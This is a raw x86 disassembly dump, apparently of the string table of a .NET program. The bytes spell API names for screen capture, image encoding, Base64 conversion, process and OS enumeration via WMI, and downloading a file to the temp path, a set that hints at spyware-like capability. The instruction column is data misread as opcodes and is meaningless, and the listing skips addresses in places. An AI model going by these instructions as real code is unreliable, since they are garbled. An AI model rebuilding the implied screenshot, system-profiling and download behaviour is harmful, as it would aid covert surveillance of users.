476777:	00 00                	add    %al,(%eax)
476779:	0f 03 00             	lsl    (%eax),%eax
47677c:	00 00                	add    %al,(%eax)
47677e:	f6 06 00             	testb  $0x0,(%esi)
476781:	00 02                	add    %al,(%edx)
476783:	42                   	inc    %edx
476784:	4d                   	dec    %ebp
476785:	f6 06 00             	testb  $0x0,(%esi)
476788:	00 00                	add    %al,(%eax)
47678a:	00 00                	add    %al,(%eax)
47678c:	00 36                	add    %dh,(%esi)
47678e:	00 00                	add    %al,(%eax)
476790:	00 28                	add    %ch,(%eax)
476792:	00 00                	add    %al,(%eax)
476794:	00 18                	add    %bl,(%eax)
476796:	00 00                	add    %al,(%eax)
476798:	00 18                	add    %bl,(%eax)
47679a:	00 00                	add    %al,(%eax)
47679c:	00 01                	add    %al,(%ecx)
47679e:	00 18                	add    %bl,(%eax)
4767a8:	00 c4                	add    %al,%ah
4767aa:	0e                   	push   %cs
4767ab:	00 00                	add    %al,(%eax)
4767ad:	c4 0e                	les    (%esi),%ecx
4769af:	00 00                	add    %al,(%eax)
4769b1:	6f                   	outsl  %ds:(%esi),(%dx)
4769b2:	41                   	inc    %ecx
4769f7:	00 00                	add    %al,(%eax)
4769f9:	53                   	push   %ebx
4769fa:	69 7a 65 00 52 65 63 	imul   $0x63655200,0x65(%edx),%edi
476a01:	74 61                	je     0x476a64
476a03:	6e                   	outsb  %ds:(%esi),(%dx)
476a04:	67 6c                	insb   (%dx),%es:(%di)
476a06:	65 00 50 6f          	add    %dl,%gs:0x6f(%eax)
476a0a:	69 6e 74 00 67 65 74 	imul   $0x74656700,0x74(%esi),%ebp
476a11:	5f                   	pop    %edi
476a12:	53                   	push   %ebx
476a13:	63 72 65             	arpl   %esi,0x65(%edx)
476a16:	65 6e                	outsb  %gs:(%esi),(%dx)
476a18:	00 53 63             	add    %dl,0x63(%ebx)
476a1b:	72 65                	jb     0x476a82
476a1d:	65 6e                	outsb  %gs:(%esi),(%dx)
476a1f:	00 67 65             	add    %ah,0x65(%edi)
476a22:	74 5f                	je     0x476a83
476a24:	42                   	inc    %edx
476a25:	6f                   	outsl  %ds:(%esi),(%dx)
476a26:	75 6e                	jne    0x476a96
476a28:	64 73 00             	fs jae 0x476a2b
476a2b:	67 65 74 5f          	addr16 gs je 0x476a8e
476a2f:	57                   	push   %edi
476a30:	69 64 74 68 00 67 65 	imul   $0x74656700,0x68(%esp,%esi,2),%esp
476a37:	74
476a38:	5f                   	pop    %edi
476a39:	48                   	dec    %eax
476a3a:	65 69 67 68 74 00 54 	imul   $0x6c540074,%gs:0x68(%edi),%esp
476a41:	6c
476a42:	61                   	popa
476a43:	63 65 00             	arpl   %esp,0x0(%ebp)
476a46:	67 65 74 5f          	addr16 gs je 0x476aa9
476a4a:	4e                   	dec    %esi
476a4b:	6f                   	outsl  %ds:(%esi),(%dx)
476a4c:	77 00                	ja     0x476a4e
476a4e:	47                   	inc    %edi
476a4f:	72 61                	jb     0x476ab2
476a51:	70 68                	jo     0x476abb
476a53:	69 63 73 00 45 6e 63 	imul   $0x636e4500,0x73(%ebx),%esp
476a5a:	6f                   	outsl  %ds:(%esi),(%dx)
476a5b:	64 65 72 00          	fs gs jb 0x476a5f
476a5f:	45                   	inc    %ebp
476a60:	6e                   	outsb  %ds:(%esi),(%dx)
476a61:	63 6f 64             	arpl   %ebp,0x64(%edi)
476a64:	65 72 50             	gs jb  0x476ab7
476a67:	61                   	popa
476a68:	72 61                	jb     0x476acb
476a6a:	6d                   	insl   (%dx),%es:(%edi)
476a6b:	65 74 65             	gs je  0x476ad3
476a6e:	72 00                	jb     0x476a70
476a70:	45                   	inc    %ebp
476a71:	6e                   	outsb  %ds:(%esi),(%dx)
476a72:	63 6f 64             	arpl   %ebp,0x64(%edi)
476a75:	65 72 50             	gs jb  0x476ac8
476a78:	61                   	popa
476a79:	72 61                	jb     0x476adc
476a7b:	6d                   	insl   (%dx),%es:(%edi)
476a7c:	65 74 65             	gs je  0x476ae4
476a7f:	72 73                	jb     0x476af4
476a81:	00 42 69             	add    %al,0x69(%edx)
476a84:	74 6d                	je     0x476af3
476a86:	61                   	popa
476a87:	70 00                	jo     0x476a89
476a89:	67 65 78 00          	addr16 gs js 0x476a8d
476a8d:	53                   	push   %ebx
476a8e:	79 73                	jns    0x476b03
476a90:	74 65                	je     0x476af7
476a92:	6d                   	insl   (%dx),%es:(%edi)
476a93:	2e 54                	cs push %esp
476a95:	65 78 74             	gs js  0x476b0c
476a98:	2e 52                	cs push %edx
476a9a:	65 67 75 6c          	gs addr16 jne 0x476b0a
476a9e:	61                   	popa
476a9f:	72 45                	jb     0x476ae6
476aa1:	78 70                	js     0x476b13
476aa3:	72 65                	jb     0x476b0a
476aa5:	73 73                	jae    0x476b1a
476aa7:	69 6f 6e 73 00 53 70 	imul   $0x70530073,0x6e(%edi),%ebp
476aae:	6c                   	insb   (%dx),%es:(%edi)
476aaf:	69 74 00 52 65 61 64 	imul   $0x41646165,0x52(%eax,%eax,1),%esi
476ab6:	41
476ab7:	6c                   	insb   (%dx),%es:(%edi)
476ab8:	6c                   	insb   (%dx),%es:(%edi)
476ab9:	42                   	inc    %edx
476aba:	79 74                	jns    0x476b30
476abc:	65 73 00             	gs jae 0x476abf
476abf:	54                   	push   %esp
476ac0:	6f                   	outsl  %ds:(%esi),(%dx)
476ac1:	42                   	inc    %edx
476ac2:	61                   	popa
476ac3:	73 65                	jae    0x476b2a
476ac5:	36 34 53             	ss xor $0x53,%al
476ac8:	74 72                	je     0x476b3c
476aca:	69 6e 67 00 52 65 70 	imul   $0x70655200,0x67(%esi),%ebp
476ad1:	47                   	inc    %edi
476ad2:	65 74 50             	gs je  0x476b25
476ad5:	72 6f                	jb     0x476b46
476ad7:	63 65 73             	arpl   %esp,0x73(%ebp)
476ada:	73 65                	jae    0x476b41
476adc:	73 42                	jae    0x476b20
476ade:	79 4e                	jns    0x476b2e
476ae0:	61                   	popa
476ae1:	6d                   	insl   (%dx),%es:(%edi)
476ae2:	65 00 47 65          	add    %al,%gs:0x65(%edi)
476ae6:	74 49                	je     0x476b31
476ae8:	6d                   	insl   (%dx),%es:(%edi)
476ae9:	61                   	popa
476aea:	67 65 45             	addr16 gs inc %ebp
476aed:	6e                   	outsb  %ds:(%esi),(%dx)
476aee:	63 6f 64             	arpl   %ebp,0x64(%edi)
476af1:	65 72 73             	gs jb  0x476b67
476af4:	00 67 65             	add    %ah,0x65(%edi)
476af7:	74 5f                	je     0x476b58
476af9:	46                   	inc    %esi
476afa:	6f                   	outsl  %ds:(%esi),(%dx)
476afb:	72 6d                	jb     0x476b6a
476afd:	61                   	popa
476afe:	74 49                	je     0x476b49
476b00:	44                   	inc    %esp
476b01:	00 67 65             	add    %ah,0x65(%edi)
476b04:	74 5f                	je     0x476b65
476b06:	47                   	inc    %edi
476b07:	75 69                	jne    0x476b72
476b09:	64 00 6f 70          	add    %ch,%fs:0x70(%edi)
476b0d:	5f                   	pop    %edi
476b0e:	45                   	inc    %ebp
476b0f:	71 75                	jno    0x476b86
476b11:	61                   	popa
476b12:	6c                   	insb   (%dx),%es:(%edi)
476b13:	69 74 79 00 52 65 69 	imul   $0x6f696552,0x0(%ecx,%edi,2),%esi
476b1a:	6f
476b1b:	6e                   	outsb  %ds:(%esi),(%dx)
476b1c:	00 56 61             	add    %dl,0x61(%esi)
476b1f:	6c                   	insb   (%dx),%es:(%edi)
476b20:	00 43 6f             	add    %al,0x6f(%ebx)
476b23:	6e                   	outsb  %ds:(%esi),(%dx)
476b24:	76 65                	jbe    0x476b8b
476b26:	72 74                	jb     0x476b9c
476b28:	00 54 6f 44          	add    %dl,0x44(%edi,%ebp,2)
476b2c:	6f                   	outsl  %ds:(%esi),(%dx)
476b2d:	75 62                	jne    0x476b91
476b2f:	6c                   	insb   (%dx),%es:(%edi)
476b30:	65 00 52 6f          	add    %dl,%gs:0x6f(%edx)
476b34:	75 6e                	jne    0x476ba4
476b36:	64 00 47 65          	add    %al,%fs:0x65(%edi)
476b3a:	74 43                	je     0x476b7f
476b3c:	75 72                	jne    0x476bb0
476b3e:	72 65                	jb     0x476ba5
476b40:	6e                   	outsb  %ds:(%esi),(%dx)
476b41:	74 50                	je     0x476b93
476b43:	72 6f                	jb     0x476bb4
476b45:	63 65 73             	arpl   %esp,0x73(%ebp)
476b48:	73 00                	jae    0x476b4a
476b4a:	67 65 74 5f          	addr16 gs je 0x476bad
476b4e:	50                   	push   %eax
476b4f:	72 6f                	jb     0x476bc0
476b51:	63 65 73             	arpl   %esp,0x73(%ebp)
476b54:	73 4e                	jae    0x476ba4
476b56:	61                   	popa
476b57:	6d                   	insl   (%dx),%es:(%edi)
476b58:	65 00 67 65          	add    %ah,%gs:0x65(%edi)
476b5c:	74 5f                	je     0x476bbd
476b5e:	49                   	dec    %ecx
476b5f:	64 00 65 4f          	add    %ah,%fs:0x4f(%ebp)
476b63:	62 6a 65             	bound  %ebp,0x65(%edx)
476b66:	63 74 00 47          	arpl   %esi,0x47(%eax,%eax,1)
476b6a:	65 74 50             	gs je  0x476bbd
476b6d:	72 6f                	jb     0x476bde
476b6f:	70 65                	jo     0x476bd6
476b71:	72 74                	jb     0x476be7
476b73:	79 56                	jns    0x476bcb
476b75:	61                   	popa
476b76:	6c                   	insb   (%dx),%es:(%edi)
476b77:	75 65                	jne    0x476bde
476b79:	00 4d 6f             	add    %cl,0x6f(%ebp)
476b7c:	76 65                	jbe    0x476be3
476b7e:	4e                   	dec    %esi
476b7f:	65 78 74             	gs js  0x476bf6
476b82:	00 67 65             	add    %ah,0x65(%edi)
476b85:	74 5f                	je     0x476be6
476b87:	54                   	push   %esp
476b88:	6f                   	outsl  %ds:(%esi),(%dx)
476b89:	74 61                	je     0x476bec
476b8b:	6c                   	insb   (%dx),%es:(%edi)
476b8c:	50                   	push   %eax
476b8d:	68 79 73 69 63       	push   $0x63697379
476b92:	61                   	popa
476b93:	6c                   	insb   (%dx),%es:(%edi)
476b94:	4d                   	dec    %ebp
476b95:	65 6d                	gs insl (%dx),%es:(%edi)
476b97:	6f                   	outsl  %ds:(%esi),(%dx)
476b98:	72 79                	jb     0x476c13
476b9a:	00 55 49             	add    %dl,0x49(%ebp)
476b9d:	6e                   	outsb  %ds:(%esi),(%dx)
476b9e:	74 36                	je     0x476bd6
476ba0:	34 00                	xor    $0x0,%al
476ba2:	43                   	inc    %ebx
476ba3:	6f                   	outsl  %ds:(%esi),(%dx)
476ba4:	6e                   	outsb  %ds:(%esi),(%dx)
476ba5:	76 65                	jbe    0x476c0c
476ba7:	72 73                	jb     0x476c1c
476ba9:	65 63 74 45 6e       	arpl   %esi,%gs:0x6e(%ebp,%eax,2)
476bae:	75 6d                	jne    0x476c1d
476bb0:	65 72 61             	gs jb  0x476c14
476bb3:	74 6f                	je     0x476c24
476bb5:	72 00                	jb     0x476bb7
476bb7:	67 65 74 5f          	addr16 gs je 0x476c1a
476bbb:	4f                   	dec    %edi
476bbc:	53                   	push   %ebx
476bbd:	46                   	inc    %esi
476bbe:	75 6c                	jne    0x476c2c
476bc0:	6c                   	insb   (%dx),%es:(%edi)
476bc1:	4e                   	dec    %esi
476bc2:	61                   	popa
476bc3:	6d                   	insl   (%dx),%es:(%edi)
476bc4:	65 00 47 65          	add    %al,%gs:0x65(%edi)
476bc8:	74 00                	je     0x476bca
476bca:	47                   	inc    %edi
476bcb:	65 74 45             	gs je  0x476c13
476bce:	6e                   	outsb  %ds:(%esi),(%dx)
476bcf:	75 6d                	jne    0x476c3e
476bd1:	65 72 61             	gs jb  0x476c35
476bd4:	74 6f                	je     0x476c45
476bd6:	72 00                	jb     0x476bd8
476bd8:	67 65 74 5f          	addr16 gs je 0x476c3b
476bdc:	43                   	inc    %ebx
476bdd:	75 72                	jne    0x476c51
476bdf:	72 65                	jb     0x476c46
476be1:	6e                   	outsb  %ds:(%esi),(%dx)
476be2:	74 00                	je     0x476be4
476be4:	4d                   	dec    %ebp
476be5:	61                   	popa
476be6:	6e                   	outsb  %ds:(%esi),(%dx)
476be7:	61                   	popa
476be8:	67 65 6d             	gs insl (%dx),%es:(%di)
476beb:	65 6e                	outsb  %gs:(%esi),(%dx)
476bed:	74 42                	je     0x476c31
476bef:	61                   	popa
476bf0:	73 4f                	jae    0x476c41
476bf2:	62 6a 65             	bound  %ebp,0x65(%edx)
476bf5:	63 74 53 65          	arpl   %esi,0x65(%ebx,%edx,2)
476bf9:	61                   	popa
476bfa:	72 63                	jb     0x476c5f
476bfc:	68 65 72 00 4d       	push   $0x4d007265
476c01:	61                   	popa
476c02:	6e                   	outsb  %ds:(%esi),(%dx)
476c03:	61                   	popa
476c04:	67 65 6d             	gs insl (%dx),%es:(%di)
476c07:	65 6e                	outsb  %gs:(%esi),(%dx)
476c09:	74 4f                	je     0x476c5a
476c0b:	62 6a 65             	bound  %ebp,0x65(%edx)
476c0e:	63 74 00 4d          	arpl   %esi,0x4d(%eax,%eax,1)
476c12:	61                   	popa
476c13:	6e                   	outsb  %ds:(%esi),(%dx)
476c14:	61                   	popa
476c15:	67 65 6d             	gs insl (%dx),%es:(%di)
476c18:	65 6e                	outsb  %gs:(%esi),(%dx)
476c1a:	74 4f                	je     0x476c6b
476c1c:	62 6a 65             	bound  %ebp,0x65(%edx)
476c1f:	63 74 43 6f          	arpl   %esi,0x6f(%ebx,%eax,2)
476c23:	6c                   	insb   (%dx),%es:(%edi)
476c24:	6c                   	insb   (%dx),%es:(%edi)
476c25:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
476c2a:	6e                   	outsb  %ds:(%esi),(%dx)
476c2b:	00 4d 61             	add    %cl,0x61(%ebp)
476c2e:	6e                   	outsb  %ds:(%esi),(%dx)
476c2f:	61                   	popa
476c30:	67 65 6d             	gs insl (%dx),%es:(%di)
476c33:	65 6e                	outsb  %gs:(%esi),(%dx)
476c35:	74 4f                	je     0x476c86
476c37:	62 6a 6d             	bound  %ebp,0x6d(%edx)
476c3a:	2e 4e                	cs dec %esi
476c3c:	65 74 00             	gs je  0x476c3f
476c3f:	47                   	inc    %edi
476c40:	65 74 54             	gs je  0x476c97
476c43:	65 6d                	gs insl (%dx),%es:(%edi)
476c45:	70 50                	jo     0x476c97
476c47:	61                   	popa
476c48:	74 68                	je     0x476cb2
476c4a:	00 44 6f 77          	add    %al,0x77(%edi,%ebp,2)
476c4e:	6e                   	outsb  %ds:(%esi),(%dx)
476c4f:	6c                   	insb   (%dx),%es:(%edi)
476c50:	6f                   	outsl  %ds:(%esi),(%dx)
476c51:	61                   	popa
476c52:	64 46                	fs inc %esi
476c54:	69 6c 65 00 43 6f 6d 	imul   $0x706d6f43,0x0(%ebp,%eiz,2),%ebp
476c5b:	70
476c5c:	75 74                	jne    0x476cd2
476c5e:	65 72 49             	gs jb  0x476caa
476c61:	6e                   	outsb  %ds:(%esi),(%dx)
476c62:	66 6f                	outsw  %ds:(%esi),(%dx)
476c64:	00 53 79             	add    %dl,0x79(%ebx)
476c67:	73 74                	jae    0x476cdd
476c69:	65 6d                	gs insl (%dx),%es:(%edi)
476c6b:	2e 4d                	cs dec %ebp
476c6d:	61                   	popa
476c6e:	6e                   	outsb  %ds:(%esi),(%dx)
476c6f:	61                   	popa
476c70:	67 65 6d             	gs insl (%dx),%es:(%di)
476c73:	65 6e                	outsb  %gs:(%esi),(%dx)
476c75:	74 00                	je     0x476c77
476c77:	4d                   	dec    %ebp
476c78:	61                   	popa
476c79:	6e                   	outsb  %ds:(%esi),(%dx)
476c7a:	61                   	popa
476c7b:	67 65 6d             	gs insl (%dx),%es:(%di)
476c7e:	65 6e                	outsb  %gs:(%esi),(%dx)
476c80:	74 75                	je     0x476cf7
476c82:	65 00 43 6c          	add    %al,%gs:0x6c(%ebx)
476c86:	6f                   	outsl  %ds:(%esi),(%dx)
476c87:	73 65                	jae    0x476cee
476c89:	00 41 70             	add    %al,0x70(%ecx)
476c8c:	70 6c                	jo     0x476cfa
476c8e:	69 63 61 74 69 6f 6e 	imul   $0x6e6f6974,0x61(%ebx),%esp
476c95:	00 52 75             	add    %dl,0x75(%edx)
476c98:	6e                   	outsb  %ds:(%esi),(%dx)
476c99:	00 43 6f             	add    %al,0x6f(%ebx)
476c9c:	6e                   	outsb  %ds:(%esi),(%dx)
476c9d:	76 65                	jbe    0x476d04
476c9f:	72 73                	jb     0x476d14
476ca1:	69 6f 6e 73 00 54 6f 	imul   $0x6f540073,0x6e(%edi),%ebp
476ca8:	42                   	inc    %edx
476ca9:	6f                   	outsl  %ds:(%esi),(%dx)